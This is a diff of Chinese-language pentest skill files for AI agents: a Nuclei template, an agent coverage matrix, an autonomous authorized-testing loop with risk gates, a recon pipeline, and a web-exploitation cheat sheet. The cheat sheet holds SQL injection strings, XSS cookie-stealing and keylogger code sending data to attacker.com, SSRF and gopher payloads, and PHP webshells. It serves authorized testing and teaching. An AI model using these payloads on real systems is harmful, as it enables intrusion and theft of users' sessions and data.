||||
path:
|
||||
- "{{BaseURL}}/?q={{url_encode('{{7*7}}')}}"
|
||||
- "{{BaseURL}}/?search={{url_encode('${7*7}')}}"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "49"
|
||||
part: body
|
||||
extractors:
|
||||
- type: regex
|
||||
regex:
|
||||
- "49"
|
||||
part: body
|
||||
```
|
||||
|
||||
## 与 AI 结合使用
|
||||
|
||||
### AI 生成 Nuclei 模板
|
||||
|
||||
当发现新漏洞模式时,可以让 AI 自动生成 Nuclei 模板:
|
||||
|
||||
```
|
||||
用户:我发现 /api/v1/users 端点存在 IDOR,通过修改 user_id 参数可以访问其他用户数据
|
||||
AI:[生成对应的 Nuclei 模板]
|
||||
```
|
||||
|
||||
### Pentest Swarm AI 集成
|
||||
|
||||
Pentest Swarm AI 原生集成 Nuclei,在 swarm 模式下:
|
||||
1. Recon agent 发现子域名和端点
|
||||
2. Classifier agent 用 Nuclei 模板扫描
|
||||
3. 高 pheromone 的发现触发 Exploit agent
|
||||
|
||||
### 推荐模板仓库
|
||||
|
||||
| 仓库 | 内容 | 链接 |
|
||||
|------|------|------|
|
||||
| projectdiscovery/nuclei-templates | 官方 9000+ 模板 | [GitHub](https://github.com/projectdiscovery/nuclei-templates) |
|
||||
| 0xKayala/Custom-Nuclei-Templates | 社区精选 | [GitHub](https://github.com/0xKayala/Custom-Nuclei-Templates) |
|
||||
| emadshanab/Nuclei-Templates-Collection | 大型集合 | [GitHub](https://github.com/emadshanab/Nuclei-Templates-Collection) |
|
||||
|
||||
## 常用命令速查
|
||||
|
||||
```bash
|
||||
# 扫描单个目标
|
||||
nuclei -u https://target.com -severity critical,high
|
||||
|
||||
# 使用自定义模板
|
||||
nuclei -u https://target.com -t ~/custom-templates/
|
||||
|
||||
# 输出 JSON(便于后续处理)
|
||||
nuclei -u https://target.com -json -o results.json
|
||||
|
||||
# 限速(避免被 WAF 拦截)
|
||||
nuclei -u https://target.com -rate-limit 10 -bulk-size 5
|
||||
|
||||
# 使用代理
|
||||
nuclei -u https://target.com -proxy http://127.0.0.1:8080
|
||||
|
||||
# 排除特定模板
|
||||
nuclei -u https://target.com -exclude-tags dos,fuzz
|
||||
|
||||
# 新模板检测(只跑最近添加的)
|
||||
nuclei -u https://target.com -new-templates
|
||||
|
||||
# 配合 subfinder + httpx 全流程
|
||||
subfinder -d target.com -silent | httpx -silent | nuclei -severity critical,high -o report.txt
|
||||
```
|
||||
@@ -0,0 +1,114 @@
|
||||
# pentest-ai-agents 覆盖矩阵
|
||||
|
||||
> 参考自 [0xSteph/pentest-ai-agents](https://github.com/0xSteph/pentest-ai-agents)(1.3k stars,MIT)
|
||||
> 35 个 Claude Code 渗透子 agent 的能力映射。可作为我们 pentest-tools skill 的方法论参考。
|
||||
|
||||
---
|
||||
|
||||
## 安装方式(外部可选)
|
||||
|
||||
```bash
|
||||
curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash
|
||||
```
|
||||
|
||||
或者只参考其 prompt 模式,不实际安装。
|
||||
|
||||
---
|
||||
|
||||
## Agent 覆盖矩阵
|
||||
|
||||
### 攻击类(Tier 1 咨询 + Tier 2 执行)
|
||||
|
||||
| Agent | 覆盖领域 | 核心工具 | 对应我们的 skill |
|
||||
|-------|---------|---------|-----------------|
|
||||
| engagement-planner | 渗透计划/ROE/ATT&CK 映射 | — | pentest-tools |
|
||||
| recon-advisor | 信息收集/目标优先级 | nmap, masscan, subfinder, httpx | pentest-tools |
|
||||
| osint-collector | OSINT/邮箱/社交/泄露 | theHarvester, sherlock, holehe | pentest-tools |
|
||||
| vuln-scanner | 漏洞扫描 | nuclei, nikto, RouterSploit | pentest-tools |
|
||||
| web-hunter | Web 渗透 | ffuf, sqlmap, dalfox, Commix | pentest-tools |
|
||||
| api-security | API 安全 | OWASP API Top 10, JWT, OAuth | pentest-tools / js-reverse |
|
||||
| ad-attacker | AD 攻击 | BloodHound, Impacket, Certipy | pentest-tools |
|
||||
| credential-tester | 密码破解 | Hashcat, John, Hydra, CeWL | pentest-tools |
|
||||
| cloud-security | 云渗透 | aws/az/gcloud, Prowler, Pacu | pentest-tools |
|
||||
| mobile-pentester | 移动端 | Frida, Objection, jadx, MobSF | apk-reverse |
|
||||
| wireless-pentester | 无线 | aircrack-ng, bettercap, wifite | pentest-tools |
|
||||
| social-engineer | 社工 | GoPhish, Evilginx | pentest-tools |
|
||||
| payload-crafter | Payload 生成 | msfvenom, Donut | pentest-tools |
|
||||
| reverse-engineer | 逆向 | Ghidra, Radare2, JadX, Binwalk | ida-reverse / radare2 |
|
||||
| phishing-operator | 钓鱼基础设施 | Evilginx, GoPhish, dnstwist | pentest-tools |
|
||||
| exploit-chainer | 攻击链组合 | 多步骤链式利用 | pentest-tools |
|
||||
| poc-validator | PoC 验证 | 安全执行验证脚本 | pentest-tools |
|
||||
| bug-bounty | Bug Bounty | HackerOne/Bugcrowd 方法论 | pentest-tools |
|
||||
| bizlogic-hunter | 业务逻辑漏洞 | 价格篡改/竞态条件 | pentest-tools / js-reverse |
|
||||
| cicd-redteam | CI/CD 攻击 | GitHub Actions, GitLab CI | pentest-tools |
|
||||
| c2-operator | C2 操作 | Sliver, Mythic, Havoc | pentest-tools |
|
||||
| container-breakout | 容器逃逸 | Docker/K8s escape, runc CVE | pentest-tools |
|
||||
| opsec-anonymizer | 操作安全 | 身份隐匿/指纹管理 | pentest-tools |
|
||||
| llm-redteam | AI/LLM 红队 | Garak, PyRIT, Promptfoo | pentest-tools |
|
||||
| attack-planner | 攻击路径规划 | ATT&CK 映射/链评分 | pentest-tools |
|
||||
| swarm-orchestrator | 多 agent 协调 | 并行工作流 | — |
|
||||
|
||||
### 防御/分析类
|
||||
|
||||
| Agent | 覆盖领域 | 核心工具 | 对应我们的 skill |
|
||||
|-------|---------|---------|-----------------|
|
||||
| detection-engineer | 检测规则 | Sigma, Splunk SPL, KQL | — |
|
||||
| threat-modeler | 威胁建模 | STRIDE/DREAD | — |
|
||||
| forensics-analyst | 取证 | Volatility 3, Autopsy, YARA | CTF-Sandbox-Orchestrator |
|
||||
| malware-analyst | 恶意软件分析 | Volatility, YARA, Wireshark | reverse-engineering |
|
||||
| stig-analyst | 合规审计 | DISA STIG | — |
|
||||
|
||||
### 报告/学习类
|
||||
|
||||
| Agent | 覆盖领域 | 对应我们的 skill |
|
||||
|-------|---------|-----------------|
|
||||
| report-generator | 渗透报告 | docs-generator |
|
||||
| ctf-solver | CTF 解题 | CTF-Sandbox-Orchestrator |
|
||||
|
||||
---
|
||||
|
||||
## 关键设计模式(可复用)
|
||||
|
||||
### 1. Tier 1 / Tier 2 分层
|
||||
|
||||
- **Tier 1(咨询)**:AI 只给建议和分析,用户自己执行命令
|
||||
- **Tier 2(执行)**:AI 可以直接执行命令,但每步需要用户确认
|
||||
|
||||
这个模式适合我们的 pentest-tools skill——默认 Tier 1,用户明确授权后升级到 Tier 2。
|
||||
|
||||
### 2. Scope Guard(范围守卫)
|
||||
|
||||
每个 Tier 2 agent 执行前都会验证目标是否在授权范围内。硬拒绝列表:
|
||||
- DoS 攻击
|
||||
- 大规模无差别扫描
|
||||
- 自动蠕虫
|
||||
- 假旗操作
|
||||
- 影响生命安全的系统
|
||||
|
||||
### 3. Findings Database
|
||||
|
||||
用 SQLite 持久化存储发现的漏洞,跨会话保持。类似我们的 field-journal 但更结构化。
|
||||
|
||||
### 4. /recommend 路由
|
||||
|
||||
用户输入自由文本描述任务,AI 自动路由到最合适的 agent。这和我们的路由矩阵是同一个思路。
|
||||
|
||||
---
|
||||
|
||||
## 与我们的包的互补关系
|
||||
|
||||
| 他们有我们没有 | 建议 |
|
||||
|--------------|------|
|
||||
| AD 攻击专项 agent | 可以在 pentest-tools 中加 AD 攻击参考 |
|
||||
| 检测工程(Sigma/SPL/KQL) | 未来可新增 detection-engineering skill |
|
||||
| 威胁建模(STRIDE/DREAD) | 可集成到 docs-generator 的报告模板 |
|
||||
| C2 操作 | 暂不集成(需要实际 C2 框架) |
|
||||
| LLM 红队 | 新兴领域,未来可新增 |
|
||||
|
||||
| 我们有他们没有 | 优势 |
|
||||
|--------------|------|
|
||||
| 按需自举(bootstrap) | 他们需要手动装工具 |
|
||||
| 自动进化(field-journal) | 他们没有经验沉淀 |
|
||||
| 跨版本符号迁移(binary-diff) | 他们没有 |
|
||||
| 浏览器/桌面自动化 | 他们没有 |
|
||||
| 图表生成 | 他们没有 |
|
||||
@@ -0,0 +1,270 @@
|
||||
# 授权渗透测试自主循环
|
||||
|
||||
> 本文件定义了 AI 执行渗透测试时的完整自主循环框架。
|
||||
> AI 在进入渗透测试模式后,必须按此框架运行。
|
||||
|
||||
你正在一个授权的渗透测试工作区内,以谨慎、专业的安全测试助手身份操作。
|
||||
|
||||
你的目标是帮助完成 `scope.md` 中描述的安全评估,同时严格遵守 `rules.md`。
|
||||
|
||||
这不是一个不受限制的攻击循环。你必须安全地操作,记录所有内容,并在风险增加时停止并请求批准。
|
||||
|
||||
---
|
||||
|
||||
## 必需文件
|
||||
|
||||
在每次迭代之前,请阅读或刷新以下文件:
|
||||
|
||||
1. `scope.md` — 授权范围
|
||||
2. `rules.md` — 测试规则
|
||||
3. `task_plan.md` — 测试计划
|
||||
4. `findings.md` — 发现记录
|
||||
5. `progress.md` — 进度记录
|
||||
|
||||
将这些文件视为事实来源。
|
||||
|
||||
如果缺少其中任何文件,从 `templates/` 目录复制对应模板并填写,然后继续。
|
||||
|
||||
---
|
||||
|
||||
## 核心循环
|
||||
|
||||
对于每次迭代,请遵循以下顺序:
|
||||
|
||||
### 1. 重新对齐目标
|
||||
|
||||
问自己:
|
||||
|
||||
- 用户的授权目标是什么?
|
||||
- 当前项目的目标是什么?
|
||||
- 我处于测试的哪个阶段?
|
||||
- 已经完成了哪些工作?
|
||||
- 还有哪些未完成?
|
||||
- 哪些是被明确禁止的?
|
||||
|
||||
### 2. 审查已知发现
|
||||
|
||||
检查 `findings.md` 并识别:
|
||||
|
||||
- 已知的端点
|
||||
- 参数
|
||||
- 认证行为
|
||||
- 授权行为
|
||||
- 有趣的响应头
|
||||
- JavaScript 文件
|
||||
- API 路由
|
||||
- 错误信息
|
||||
- 技术线索
|
||||
- 之前失败的尝试
|
||||
- 已收集的证据
|
||||
|
||||
### 3. 决定下一个最安全且有价值的操作
|
||||
|
||||
选择恰好一个下一步操作。
|
||||
|
||||
该操作必须:
|
||||
|
||||
- 在授权范围内
|
||||
- 默认低风险
|
||||
- 对推进任务有用
|
||||
- 以证据为导向
|
||||
- 在可能的情况下是可逆的或只读的
|
||||
- 在速率和体量上保持保守
|
||||
|
||||
优先选择被动或低风险的操作。
|
||||
|
||||
### 4. 风险门控
|
||||
|
||||
将下一步操作分类为:
|
||||
|
||||
- **低风险**:被动审查、读取本地文件、整理笔记、分析已捕获的流量
|
||||
- **中风险**:向范围内目标发送少量受控的 HTTP 请求
|
||||
- **高风险**:模糊测试、暴力破解、漏洞利用、文件上传测试、认证绕过验证、OAST 载荷、可能改变服务端状态的操作
|
||||
- **严重风险**:破坏性操作、大流量、超出范围、数据外渗、拒绝服务、持久化、横向移动
|
||||
|
||||
规则:
|
||||
|
||||
- 低风险、中风险、高风险操作可以继续
|
||||
- **严重风险操作不得执行**。需要明确的用户批准才能执行
|
||||
|
||||
### 5. 执行或请求批准
|
||||
|
||||
如果操作是低/中/高风险:
|
||||
|
||||
- 仅执行最小必要的操作
|
||||
- 避免激进的扫描
|
||||
- 除非已配置并获得批准,否则避免不必要的代理
|
||||
- 避免触碰范围外的主机
|
||||
- 避免破坏性载荷
|
||||
|
||||
如果操作是严重风险:
|
||||
|
||||
- 不执行
|
||||
- 写出提议的操作、理由、风险和预期证据
|
||||
- 请求用户批准
|
||||
|
||||
### 6. 记录结果
|
||||
|
||||
每次操作后,更新:
|
||||
|
||||
- `progress.md`:记录做了什么、何时做的、发生了什么
|
||||
- `findings.md`:记录任何有用的发现、证据或假设
|
||||
- `task_plan.md`:记录阶段进度和下一步计划
|
||||
|
||||
不要仅依赖聊天上下文。
|
||||
|
||||
### 7. 继续前的自我检查
|
||||
|
||||
问自己:
|
||||
|
||||
- 我取得进展了吗?
|
||||
- 我更新了正确的文件吗?
|
||||
- 我收集了证据吗?
|
||||
- 我重复了失败的操作吗?
|
||||
- 我是否保持在授权范围内?
|
||||
- 下一步操作仍然安全吗?
|
||||
- 成功标准是否已经达成?
|
||||
|
||||
### 8. 完成检查
|
||||
|
||||
仅在以下情况下任务才算完成:
|
||||
|
||||
- `task_plan.md` 中所有计划的阶段都已完成,或已明确跳过并给出理由
|
||||
- 重要发现附有证据
|
||||
- 风险已分类
|
||||
- 剩余的不确定项已记录
|
||||
- 最终报告草稿已存在或已准备好生成
|
||||
|
||||
如果完成:停止循环 → 总结最终状态 → 列出证据 → 列出未解决项 → 生成最终报告
|
||||
|
||||
如果未完成:继续执行下一个最安全且有价值的操作
|
||||
|
||||
---
|
||||
|
||||
## 硬性安全规则
|
||||
|
||||
永远不要执行:
|
||||
|
||||
- 拒绝服务测试
|
||||
- 高频率扫描
|
||||
- 密码喷洒
|
||||
- 凭证填充
|
||||
- 破坏性利用
|
||||
- 持久化
|
||||
- 横向移动
|
||||
- 数据外渗
|
||||
- 在授权范围外测试
|
||||
- 绕过用户的明确限制
|
||||
|
||||
如果不确定某个操作是否被允许,请停止并询问。
|
||||
|
||||
---
|
||||
|
||||
## 用户协助
|
||||
|
||||
当需要用户帮助时请随时提出:
|
||||
|
||||
1. 打开浏览器进行点击
|
||||
2. 输入验证码
|
||||
3. 查看你看不到的变化
|
||||
4. 验证某个东西
|
||||
|
||||
---
|
||||
|
||||
## 每次迭代的输出格式
|
||||
|
||||
```markdown
|
||||
### 循环迭代摘要
|
||||
|
||||
当前阶段:
|
||||
上一步已完成的操作:
|
||||
新发现:
|
||||
下一步操作的风险等级:
|
||||
下一步操作:
|
||||
理由:
|
||||
已更新的文件:
|
||||
是否需要批准:是/否
|
||||
```
|
||||
|
||||
如果需要批准,停止并询问用户。
|
||||
|
||||
---
|
||||
|
||||
## 上下文压缩
|
||||
|
||||
每次循环结束后,必须对当前上下文进行压缩总结。压缩不是简单摘要,而是为了让下一轮渗透测试能够安全、连续、可复盘地进行。
|
||||
|
||||
### 必须保留的信息
|
||||
|
||||
1. **授权范围** — 域名/IP/应用/API/账号/环境 + 禁止项 + 限制条件
|
||||
2. **当前目标** — 测试阶段 + 本轮目标 + 完成状态
|
||||
3. **已发现资产** — URL/接口/参数/认证流程(区分已确认 vs 推测)
|
||||
4. **已测试内容** — 测过什么 + 用了什么方法 + 结果如何(避免重复低价值测试)
|
||||
5. **漏洞发现与线索** — 已确认漏洞 + 潜在漏洞 + 可疑行为 + 异常报错
|
||||
6. **证据** — 关键请求/响应 + 状态码 + 截图/日志/文件路径 + 时间戳
|
||||
7. **风险与安全** — 已执行操作 + 主动避免的操作 + 是否合规
|
||||
8. **敏感信息** — 不存完整密码/Token,只保留类型和状态描述
|
||||
9. **假设与下一步** — 未验证假设 + 下一轮低风险验证方向
|
||||
|
||||
### 压缩格式
|
||||
|
||||
```markdown
|
||||
## Loop Context Summary
|
||||
|
||||
### 1. Authorization Scope
|
||||
- In scope:
|
||||
- Out of scope:
|
||||
- Constraints:
|
||||
- Approval required for:
|
||||
|
||||
### 2. Current Phase and Objective
|
||||
- Current phase:
|
||||
- Loop objective:
|
||||
- Status:
|
||||
- Reason:
|
||||
|
||||
### 3. Confirmed Assets
|
||||
- Domains/subdomains:
|
||||
- URLs/endpoints:
|
||||
- Parameters:
|
||||
- Auth/session details:
|
||||
- JS/API clues:
|
||||
|
||||
### 4. Tested Items
|
||||
- Tested:
|
||||
- Method:
|
||||
- Result:
|
||||
- Already ruled out:
|
||||
|
||||
### 5. Findings and Clues
|
||||
- Confirmed findings:
|
||||
- Potential vulnerabilities:
|
||||
- Suspicious behavior:
|
||||
- Error messages:
|
||||
- Access control observations:
|
||||
|
||||
### 6. Evidence
|
||||
- Important requests:
|
||||
- Important responses:
|
||||
- Status codes:
|
||||
- Burp/Repeater/Collaborator references:
|
||||
- Screenshots/logs/files:
|
||||
- Timestamps:
|
||||
|
||||
### 7. Risk and Safety
|
||||
- Low-risk actions performed:
|
||||
- High-risk actions avoided:
|
||||
- Actions requiring approval:
|
||||
- Compliance with rules:
|
||||
|
||||
### 8. Sensitive Data Handling
|
||||
- Secrets stored: No
|
||||
- Redacted values:
|
||||
- Authentication state:
|
||||
|
||||
### 9. Next Recommended Steps
|
||||
- Next low-risk step:
|
||||
- Hypothesis to verify:
|
||||
- Required tools:
|
||||
- Stop condition:
|
||||
```
|
||||
@@ -0,0 +1,154 @@
|
||||
# 授权侦察流水线(Bug Bounty / 渗透)
|
||||
|
||||
> 来源启发:社区 bug bounty recon 管线(subfinder→httpx→katana→nuclei→ffuf 等)、claude-bug-bounty 类 /recon 流程
|
||||
> 日期:2026-07-17(P0 ops:CF 浏览器头 / Windows nmap / Evidence append)
|
||||
> **MUST** 先满足 `ops/scope-contract.md`;禁止「只给一个域名就全网狂扫」
|
||||
|
||||
## 0. 门闩
|
||||
|
||||
```text
|
||||
□ auth.status = granted(SRC/BB in-scope / 书面授权)
|
||||
□ in_scope.assets 非空(域名/IP/URL 列表)
|
||||
□ network_profile = authorized_target_only | lab_only
|
||||
□ out_of_scope 已读(禁止 DoS、禁止超范围)
|
||||
```
|
||||
|
||||
Ready case in one shot:
|
||||
|
||||
```powershell
|
||||
powershell -NoProfile -ExecutionPolicy Bypass -File skills\scripts\case-init.ps1 `
|
||||
-Hint "web pentest app.example" -CaseName "demo-case" `
|
||||
-AuthGranted -TargetUrl "https://app.example/" -NetworkProfile authorized_target_only
|
||||
|
||||
# ACT 前轻量门禁(未就绪 exit 2)
|
||||
powershell -File skills\scripts\case-guard.ps1 -CaseRoot work\demo-case
|
||||
```
|
||||
|
||||
## 0.1 Cloudflare / CDN 边缘:浏览器客户端头(MUST 先试)
|
||||
|
||||
很多 SaaS 在 **裸 curl / 数据中心 UA** 上返回 WAF `403 access-policy`(例如 `ap3`),但带浏览器 Origin/Referer 后 API 正常。
|
||||
|
||||
**默认先用可复制模板**(再谈目录爆破/nuclei):
|
||||
|
||||
```bash
|
||||
# Headers only
|
||||
curl -sS -D - -o NUL --max-time 15 \
|
||||
-A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" \
|
||||
-H "Accept: application/json, text/plain, */*" \
|
||||
-H "Origin: https://app.example" \
|
||||
-H "Referer: https://app.example/" \
|
||||
"https://api.example/v1/health"
|
||||
|
||||
# Same-site style API call
|
||||
curl -sS --max-time 15 \
|
||||
-A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" \
|
||||
-H "Accept: application/json" \
|
||||
-H "Origin: https://app.example" \
|
||||
-H "Referer: https://app.example/" \
|
||||
-H "Sec-Fetch-Site: same-site" \
|
||||
-H "Sec-Fetch-Mode: cors" \
|
||||
-H "Sec-Fetch-Dest: empty" \
|
||||
"https://api.example/app/v1/clock"
|
||||
```
|
||||
|
||||
```text
|
||||
□ 裸 curl 403 + JSON access-policy / CF-RAY → 换浏览器 UA + Origin/Referer 重试
|
||||
□ 仍 403 且 HTML 含 Cf-Mitigated: challenge → 需要真实浏览器 / 登录会话,不要盲扫打爆
|
||||
□ SPA 任意路径 200 + 相同 body 大小 → 多为前端路由,不是真实 API 命中
|
||||
```
|
||||
|
||||
## 0.2 Windows curl:`[]` 被当成范围(原型污染 URL)
|
||||
|
||||
```text
|
||||
curl: (3) bad range in position N: ... __proto__[test]=...
|
||||
```
|
||||
|
||||
**MUST** 使用 `--globoff`,或 `--data-urlencode`:
|
||||
|
||||
```bash
|
||||
curl.exe --globoff -sS "https://target/?__proto__%5Btest%5D=polluted"
|
||||
curl.exe --globoff -sS -G "https://target/path" --data-urlencode "__proto__[test]=polluted"
|
||||
```
|
||||
|
||||
客户端 / DOM 面进一步见 `client-side-lab-playbook.md`。
|
||||
|
||||
## 0.3 Windows nmap 坑(本机)
|
||||
|
||||
在部分 Windows 环境,默认 Nmap 可能报:
|
||||
|
||||
```text
|
||||
dnet: Failed to open device eth0
|
||||
QUITTING!
|
||||
```
|
||||
|
||||
**处理:**
|
||||
|
||||
```text
|
||||
□ 优先 TCP connect 扫描:nmap -sT -sV --top-ports 50 -Pn -T3 target
|
||||
□ 目标在 Cloudflare/CDN 后:应用层(HTTPS/API/JS)优先,全端口 raw 扫描收益低
|
||||
□ 仍失败:记录为环境限制,继续 http/curl 侦察,不要卡死在 nmap
|
||||
```
|
||||
|
||||
## 1. 推荐阶段(可裁剪)
|
||||
|
||||
| 阶段 | 典型工具 | 产出 |
|
||||
|------|----------|------|
|
||||
| 1 被动子域 | subfinder / amass / crt | domains.txt |
|
||||
| 2 存活 | httpx(注意:Windows 上 `httpx` 可能是 Python 库 CLI,不是 projectdiscovery) | live.txt + tech |
|
||||
| 3 URL/爬虫 | katana / gau / wayback(按授权) | urls.txt |
|
||||
| 4 指纹/模板 | nuclei -severity critical,high | candidates |
|
||||
| 5 目录/参数 | ffuf / arjun | 隐藏面 |
|
||||
| 6 验证 | 手工 / sqlmap / 专用 PoC | **E-*** 证据 |
|
||||
| 7 报告 | docs-generator | F/P 链 |
|
||||
|
||||
工具未在 bootstrap-manifest 中的:**文档安装或 Kali 预装**,禁止假装可 bootstrap。
|
||||
|
||||
## 2. Evidence 门(降误报 — 本包特色)
|
||||
|
||||
```text
|
||||
nuclei/ffuf 命中 ≠ Finding validated
|
||||
□ 每条候选:复现命令 + 响应摘录(脱敏)→ E-id
|
||||
□ 仅 validated 进报告 High+
|
||||
□ timeline 每阶段至少 1 条
|
||||
```
|
||||
|
||||
### 2.1 追加 Evidence(固定结构,禁止自创目录)
|
||||
|
||||
契约字段见 `skills/ops/evidence-finding-path.md`。
|
||||
一键写入 case 目录:
|
||||
|
||||
```powershell
|
||||
# Prefer -RawExcerptFile when excerpt has quotes/spaces (nested powershell -File splits multi-word values)
|
||||
Set-Content work\demo-case\excerpt.txt -Value '{"clock":"...","status":true}' -Encoding utf8
|
||||
powershell -NoProfile -ExecutionPolicy Bypass -File skills\scripts\append-evidence.ps1 `
|
||||
-CaseRoot "work\demo-case" `
|
||||
-Id "E-001" `
|
||||
-Title "Public clock API returns 200" `
|
||||
-ReproCommand 'curl -s "https://api.example/app/v1/clock" -A "Mozilla/5.0" -H "Origin: https://app.example" -H "Referer: https://app.example/"' `
|
||||
-Severity info `
|
||||
-Status observed `
|
||||
-RawExcerptFile "work\demo-case\excerpt.txt" `
|
||||
-Location "https://api.example/app/v1/clock"
|
||||
```
|
||||
|
||||
产物:
|
||||
|
||||
- `work/<case>/evidence/E-001.md`(含 title / repro_command / raw_excerpt / status)
|
||||
- `work/<case>/evidence/INDEX.md` 索引行
|
||||
|
||||
社区「7-question gate / 检测与验证分离」思路:与我们的 Evidence→Finding 一致。
|
||||
|
||||
## 3. 与 src-hunter / api-security
|
||||
|
||||
深度漏洞类型 playbook → `pentest-tools/src-hunter/`。
|
||||
本流水线解决 **怎么从资产到候选**;playbook 解决 **怎么验某一类洞**。
|
||||
Web SaaS 未登录面 → 本流水线;拿到 token/会话后的 BOLA/IDOR → 可交接 `api-security/`。
|
||||
|
||||
## 4. 明确禁止
|
||||
|
||||
```text
|
||||
□ 无 scope 的 masscan 全网段
|
||||
□ 对 out_of_scope 子公司/第三方自动扩展
|
||||
□ 把 scanner 输出直接当已确认漏洞写 HackerOne
|
||||
□ 在 Cloudflare challenge 上硬刚爆破打崩边缘
|
||||
```
|
||||
@@ -0,0 +1,387 @@
|
||||
# Web 漏洞利用速查
|
||||
|
||||
> 覆盖 OWASP Top 10 + 实战高频漏洞。每个漏洞类型包含:原理、检测方法、利用 payload、防御建议。
|
||||
> 配合 pentest-tools 的 MCP 工具链使用。
|
||||
|
||||
---
|
||||
|
||||
## SQL 注入
|
||||
|
||||
### 检测
|
||||
|
||||
```bash
|
||||
# 基础检测
|
||||
' OR 1=1--
|
||||
" OR 1=1--
|
||||
1' AND '1'='1
|
||||
1' AND '1'='2 # 对比响应差异
|
||||
|
||||
# 时间盲注检测
|
||||
1' AND SLEEP(5)--
|
||||
1' AND IF(1=1,SLEEP(5),0)--
|
||||
|
||||
# 报错注入检测
|
||||
1' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))--
|
||||
```
|
||||
|
||||
### SQLMap 自动化
|
||||
|
||||
```bash
|
||||
# 基础扫描
|
||||
sqlmap -u "http://target/page?id=1" --batch --dbs
|
||||
|
||||
# POST 请求
|
||||
sqlmap -u "http://target/login" --data="user=admin&pass=test" --batch
|
||||
|
||||
# Cookie 注入
|
||||
sqlmap -u "http://target/page" --cookie="id=1*" --batch
|
||||
|
||||
# 指定注入点
|
||||
sqlmap -u "http://target/page" --data="a=1&b=2*&c=3" --batch
|
||||
|
||||
# 绕过 WAF
|
||||
sqlmap -u "http://target/page?id=1" --tamper=space2comment,between --random-agent
|
||||
|
||||
# 获取 shell
|
||||
sqlmap -u "http://target/page?id=1" --os-shell
|
||||
```
|
||||
|
||||
### 常用 Tamper 脚本
|
||||
|
||||
| Tamper | 作用 |
|
||||
|--------|------|
|
||||
| `space2comment` | 空格替换为 `/**/` |
|
||||
| `between` | `>` 替换为 `BETWEEN` |
|
||||
| `randomcase` | 关键字随机大小写 |
|
||||
| `charencode` | URL 编码 |
|
||||
| `equaltolike` | `=` 替换为 `LIKE` |
|
||||
| `base64encode` | Base64 编码 payload |
|
||||
|
||||
---
|
||||
|
||||
## XSS(跨站脚本)
|
||||
|
||||
### 检测 Payload
|
||||
|
||||
```html
|
||||
<!-- 反射型 -->
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1)>
|
||||
<svg onload=alert(1)>
|
||||
"><script>alert(1)</script>
|
||||
'><img src=x onerror=alert(1)>
|
||||
|
||||
<!-- DOM 型 -->
|
||||
javascript:alert(1)
|
||||
#<img src=x onerror=alert(1)>
|
||||
|
||||
<!-- 存储型 -->
|
||||
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
|
||||
|
||||
<!-- 绕过过滤 -->
|
||||
<ScRiPt>alert(1)</ScRiPt>
|
||||
<img src=x onerror="alert(1)">
|
||||
<img src=x onerror=alert`1`>
|
||||
<svg/onload=alert(1)>
|
||||
<body onload=alert(1)>
|
||||
```
|
||||
|
||||
### XSS 利用
|
||||
|
||||
```javascript
|
||||
// Cookie 窃取
|
||||
new Image().src="https://attacker.com/steal?c="+document.cookie;
|
||||
|
||||
// Keylogger
|
||||
document.onkeypress=function(e){
|
||||
new Image().src="https://attacker.com/log?k="+e.key;
|
||||
}
|
||||
|
||||
// 页面劫持
|
||||
document.body.innerHTML='<h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="user"><input name="pass" type="password"><button>Login</button></form>';
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## SSRF(服务端请求伪造)
|
||||
|
||||
### 检测
|
||||
|
||||
```text
|
||||
# 内网探测
|
||||
http://127.0.0.1:80
|
||||
http://localhost:22
|
||||
http://[::1]:80
|
||||
http://0x7f000001:80
|
||||
|
||||
# 云元数据
|
||||
http://169.254.169.254/latest/meta-data/ (AWS)
|
||||
http://metadata.google.internal/ (GCP)
|
||||
http://169.254.169.254/metadata/instance (Azure)
|
||||
|
||||
# 协议利用
|
||||
file:///etc/passwd
|
||||
dict://127.0.0.1:6379/INFO
|
||||
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a
|
||||
```
|
||||
|
||||
### 绕过技巧
|
||||
|
||||
```text
|
||||
# IP 绕过
|
||||
http://0177.0.0.1 (八进制)
|
||||
http://2130706433 (十进制)
|
||||
http://0x7f.0x0.0x0.0x1 (十六进制)
|
||||
http://127.1 (短格式)
|
||||
http://127.0.0.1.nip.io (DNS 重绑定)
|
||||
|
||||
# URL 绕过
|
||||
http://attacker.com@127.0.0.1
|
||||
http://127.0.0.1#@allowed.com
|
||||
http://127.0.0.1%2523@allowed.com
|
||||
|
||||
# 重定向绕过
|
||||
http://allowed.com/redirect?url=http://127.0.0.1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 文件上传漏洞
|
||||
|
||||
### 绕过方法
|
||||
|
||||
| 检测方式 | 绕过方法 |
|
||||
|---------|---------|
|
||||
| 后缀名黑名单 | `.php5`、`.phtml`、`.pHp`、`.php.jpg` |
|
||||
| Content-Type 检查 | 修改为 `image/jpeg` |
|
||||
| 文件头检查 | 在 webshell 前加 `GIF89a` |
|
||||
| 文件大小限制 | 压缩 payload |
|
||||
| 图片二次渲染 | 在不被修改的区域插入代码 |
|
||||
| .htaccess 限制 | 上传 `.htaccess` 修改解析规则 |
|
||||
|
||||
### Webshell Payload
|
||||
|
||||
```php
|
||||
<?php system($_GET['cmd']); ?>
|
||||
<?php eval($_POST['x']); ?>
|
||||
<?=`$_GET[0]`?>
|
||||
|
||||
<!-- 图片马 -->
|
||||
GIF89a<?php system($_GET['cmd']); ?>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## IDOR(不安全的直接对象引用)
|
||||
|
||||
### 测试方法
|
||||
|
||||
```bash
|
||||
# 水平越权
|
||||
GET /api/users/1001/profile # 自己的
|
||||
GET /api/users/1002/profile # 别人的 → 应该 403
|
||||
|
||||
# 垂直越权
|
||||
GET /api/admin/users # 普通用户访问管理接口
|
||||
|
||||
# 参数篡改
|
||||
POST /api/orders/cancel {"order_id": "OTHER_USER_ORDER"}
|
||||
|
||||
# ID 遍历
|
||||
